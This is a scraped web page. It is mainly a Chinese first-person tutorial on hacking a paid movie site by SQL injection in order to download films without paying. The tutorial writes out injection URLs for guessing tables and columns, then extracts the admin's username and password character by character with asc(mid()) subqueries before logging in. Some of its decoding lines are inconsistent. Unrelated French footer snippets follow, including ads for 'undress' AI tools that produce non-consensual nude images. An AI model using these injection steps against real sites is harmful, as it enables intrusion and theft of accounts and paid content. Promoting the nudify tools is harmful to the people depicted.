SQL注入网站入侵实例_MySQL
这几天闲得无聊,想上网Down几部电影来看,找了找都是要Money的,不爽,花时间跑去汇钱还不如找个有漏洞的黑一黑。于是,计划开始:
(为避免不必要的误会,网址、用户名、密码做了一些修改,不过方法是100%原汁原味)
1.寻找入口
准备:如果你以前没尝试过SQL注入攻击,那应该把HTTP友好提示关闭,这样才能让你清楚看到服务器端返回的提示信息。
尝试几个有传入参数的页面,逐个测试是否有SQL注入漏洞,识别方法为:把网址栏的ID=***x加个号,或在表单输入号,如果提示表达式错误,表示有漏洞可注入,另外,通过这个方式可以得到程序所用的数据库类型。
经测试,发现有几个页面有注入漏洞,决定从http://www.movie.com/movie.ASP?ID=1000入手,输入http://www.movie.com/movie.ASP?ID=1000,得到信息:数据库用是的ACCESS,提示ArticleID=1000附近有表达式错误,嘿,原来是个用文章系统改出来的电影站。
2.观察网站环境
网站提供的功能有:影片分类、影片介绍、影片搜索,影片的ID大概从1000-1500之间。
3.猜表名查清楚敌人情况之后,开始行动
行动的第一步都是从猜表名开始,http://www.movie.com/movie.ASP?ID=1000,把1000改成(select count(1) from user),那么,他原来的SQL语句将会变成:
Select [字段列表] from [影片表] where 影片ID=(select count(1) from user)
如果猜对表名,将有可能出现下面三种情况:
A.显示某部影片的信息(巧合的情况)
B.显示影片找不到(如果有判断是否为EOF)
C.提示错误信息(EOF OR BOF)
如果猜错,将会直接提示找不到表名。
把user,users,member,members,userlist,memberlist,userinfo,admin,manager,用户,yonghu这些常用表名一个个放进去试,一般成功率都不低于80%
结果,成功猜中该网站的用户名表名为users
4.猜列名
至于猜列名,不用我介绍大家都应该清楚怎么做了,把(select count(1) from users)改成(select count(id) from users),如没提示"找不到字段"就表示字段名是正确的,字段一般不用太费力,在Login的时候看看表单的名称就大概可以猜到一些了。
果然,这个网站也不例外,用户表中字段为ID(数字),UserID(文本),Password(文本),积分字段猜得比较费劲,为money
5.锁定目标
让users表只返回money最多的一个记录,以便进行猜解、并避免猜中一些没money的用户名:
http://www.movie.com/movie.ASP?ID=(select 1000 from user where money>1000) 结果:提示子查询不能返回两条以上记录
锁定>10000,提示不变;
锁定>100000,提示找不到记录,说明没有积分大于10万的用户;
从1万到10万逐步缩小范围,得知积分大于25500只有一条记录。
6.计算用户名及密码长度
因为影片的ID大概从1000-1500之间,可以用UserID的长度+1000得出的数(即影片ID)计算用户名长度,键入:
http://www.movie.com/movie.ASP?ID=(select len(UserID) %2B 1000 from user where money>25500)%2B是什么?因为地址栏的+号request出来会变成空格,所以+号要用UrlEncode过的%2B表示。结果返回片名为《双雄》的影片,呵呵,怎么办?不是有搜索功能吗?拿去搜一下,看看影片ID是多少吧。
搜索,得出影片ID是1006,显然,用户名长度为1006-1000=6;同样方法,得出密码的长度为8
7.分步破解用户名
有点SQL应用经验的人应该都想到方法了,来,敲入:
http://www.movie.com/movie.ASP?ID=(select asc(mid(UserID,1,1)) %2B 1000 from user where money>25500)
呵呵,又返回一部影片,搜索一下,影片ID为1104,即asc(mid(UserID,1,1))=104
同样方法,得出:
asc(mid(UserID,2,1))=117
asc(mid(UserID,3,1))=97
asc(mid(UserID,4,1))=106
asc(mid(UserID,5,1))=105
asc(mid(UserID,6,1))=101
因为len(UserID)=6,所以算到第6位就行了,查asc对应表(会编程的可以写几句话算出来),chr(104)=h,chr(117)=u,chr(97)=a,chr(106)=j,chr(105)=i,chr(101)=e
连起来,用户名就是huajie
8.同样的方法破解密码
asc(mid(Password,1,1))=49 => chr(49)=1
asc(mid(Password,2,1))=57 => chr(49)=9
asc(mid(Password,3,1))=55 => chr(49)=7
asc(mid(Password,4,1))=56 => chr(49)=8
asc(mid(Password,5,1))=48 => chr(49)=0
asc(mid(Password,6,1))=55 => chr(49)=7
asc(mid(Password,7,1))=55 => chr(49)=1
asc(mid(Password,8,1))=55 => chr(49)=2
拼起来:19780712,哈哈,又是用生日做密码的!
接下来,输入用户名和密码,登录系统,成功!猜表名列表之前用了30分钟,破解用了15分钟,45分钟搞掂了一个站。接下来做什么?当然是先Down几G的电影下来再说了。

Outils d'IA chauds

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool
Images de déshabillage gratuites

Clothoff.io
Dissolvant de vêtements AI

Video Face Swap
Échangez les visages dans n'importe quelle vidéo sans effort grâce à notre outil d'échange de visage AI entièrement gratuit !

Article chaud

Outils chauds

Bloc-notes++7.3.1
Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Lorsque vous utilisez le système Win11, vous rencontrerez parfois une invite vous demandant de saisir le nom d'utilisateur et le mot de passe de l'administrateur. Cet article explique comment gérer cette situation. Méthode 1 : 1. Cliquez sur [Logo Windows], puis appuyez sur [Maj+Redémarrer] pour passer en mode sans échec ou entrez en mode sans échec de cette façon : cliquez sur le menu Démarrer et sélectionnez Paramètres ; Sélectionnez « Mise à jour et sécurité » ; sélectionnez « Redémarrer maintenant » dans « Récupération » après avoir redémarré et saisi les options, sélectionnez - Dépannage - Options avancées - Paramètres de démarrage -&mdash.

Au début des médias sociaux, vous pouviez changer votre nom de profil plusieurs fois, mais maintenant, changer de nom sur n'importe quelle application de médias sociaux s'accompagne de son propre ensemble de restrictions. Si vous souhaitez modifier votre nom d'affichage ou votre nom d'utilisateur sur Instagram, la publication ci-dessous vous expliquera à quelle fréquence vous pouvez les modifier, comment le faire et ce que vous pouvez faire lorsque vous ne pouvez pas changer votre nom sur la plateforme. Comment changer le nom d’affichage et le nom d’utilisateur sur Instagram ? Instagram propose deux emplacements pour votre nom : votre nom d'affichage et votre nom d'utilisateur, et heureusement, vous pouvez facilement modifier les deux dans l'application mobile. Le nom d'affichage est celui que vous entreriez normalement vrai

OOBE ou expérience prête à l'emploi est un processus conçu pour que les utilisateurs les guident à travers les différentes étapes des étapes post-installation. Cela inclut les pages de droits et d’accords, les pages de connexion, les options de connexion WiFi ou réseau, etc. Si vous rencontrez des problèmes OOBEKeyboard, OOBELOCAL ou OOBEREGION, vous ne pourrez pas passer aux étapes d'installation finales. Ne t'inquiète pas. Il existe quelques correctifs simples que vous pouvez utiliser pour résoudre ce problème. Solutions de contournement - Avant de faire quoi que ce soit d'autre, essayez ces solutions normales - 1. Lorsque vous recevez une invite d'erreur, continuez et cliquez sur l'invite « Réessayer ». Continuez à essayer au moins 7 à 8 fois supplémentaires. 2. Vérifiez la connectivité réseau. Si vous utilisez une connexion Ethernet ou Wi-Fi

De nos jours, de nombreux utilisateurs Windows qui aiment les jeux ont accédé au client Steam et peuvent rechercher, télécharger et jouer à n'importe quel bon jeu. Cependant, de nombreux profils d'utilisateurs peuvent porter exactement le même nom, ce qui rend difficile la recherche d'un profil ou même la liaison d'un profil Steam à d'autres comptes tiers ou la participation à des forums Steam pour partager du contenu. Le profil se voit attribuer un identifiant unique à 17 chiffres, qui reste le même et ne peut être modifié à aucun moment par l'utilisateur, contrairement au nom d'utilisateur ou à l'URL personnalisée. Quoi qu'il en soit, certains utilisateurs ne connaissent pas leur Steamid, et il est important de le savoir. Si vous ne savez pas comment retrouver le Steamid de votre compte, pas de panique. Dans cet article

Comment remplir le nom d'utilisateur de Railway 12306 ? Vous pouvez remplir le nom d'utilisateur dans l'application Railway 12306, mais la plupart des amis ne savent pas comment remplir le nom d'utilisateur de Railway 12306. Vient ensuite le didacticiel graphique sur la façon de remplir dans le nom d'utilisateur du chemin de fer 12306 apporté par l'éditeur , les utilisateurs intéressés viennent y jeter un œil ! Didacticiel d'utilisation du Railway 12306 Comment remplir le nom d'utilisateur du Railway 12306 1. Ouvrez d'abord l'application Railway 12306 et cliquez sur [S'inscrire] en bas de la page principale. 2. Ensuite, sur la page de fonction d'enregistrement, entrez le nom d'utilisateur, le mot de passe et la confirmation ; mot de passe, etc.; 3. Enfin, entrez Une fois terminé, vous pouvez remplir l'enregistrement de l'utilisateur.

Le nom d'utilisateur wifi fait référence au nom d'utilisateur administratif du routeur sans fil. Ce nom d'utilisateur, l'adresse IP du routeur et le mot de passe administratif par défaut sont généralement imprimés au bas du routeur sans fil et peuvent également être trouvés dans le manuel du routeur sans fil. ; l'utilisateur administratif par défaut de la plupart des routeurs. Le nom est à la fois admin et le mot de passe de gestion est également admin.

Comment changer de nom d'utilisateur dans Google Chrome ? De nos jours, de plus en plus de personnes aiment utiliser Google Chrome. Ce navigateur peut fournir aux utilisateurs des fonctions et des services riches. Les utilisateurs peuvent découvrir toutes les fonctions après s'être connectés à leur compte. De nombreux utilisateurs n'en choisissent qu'une lors de la création d'un compte. tout le monde veut savoir comment changer le nom d'utilisateur plus tard. Cet article vous présentera les étapes pour changer rapidement votre nom d'utilisateur sur Google Chrome. Vous souhaiterez peut-être y jeter un œil et en savoir plus. Introduction aux étapes pour changer rapidement le nom d'utilisateur dans Google Chrome 1. Dans la première étape, après avoir ouvert Google Chrome, ouvrez les trois icônes de points verticaux dans le coin supérieur droit de la page (comme indiqué dans l'image). 2. Dans la deuxième étape, après avoir ouvert l'icône à trois points verticaux, nous cliquons pour ouvrir l'option "Paramètres" dans la liste du menu (comme indiqué sur la figure)

Zhongguancun News : Le matin du 18 avril, Huawei a soudainement annoncé que la série de téléphones mobiles P70 était officiellement en vente dans le cadre du plan Pioneer. Les amis qui souhaitent acheter devraient être prêts à agir. Selon la pratique passée, les téléphones mobiles phares de Huawei. sont très populaires et seront toujours en rupture de stock. Cette fois, la série Huawei P70 a été renommée Pura, ce qui signifie pur. Yu Chengdong de Huawei a déclaré précédemment : Depuis 2012, les smartphones de la série P de Huawei sont comme des partenaires fidèles, accompagnant des centaines de millions d'utilisateurs à travers le monde pour passer d'innombrables moments précieux et être témoins ensemble de la beauté et de l'excitation de la vie. Il a profondément ressenti que la confiance et l'amour accordés par chaque utilisateur qui choisit la série P de Huawei équivaut à une puissante force motrice, inspirant toujours Huawei à avancer fermement sur la voie de l'innovation. Pura signifie pur.
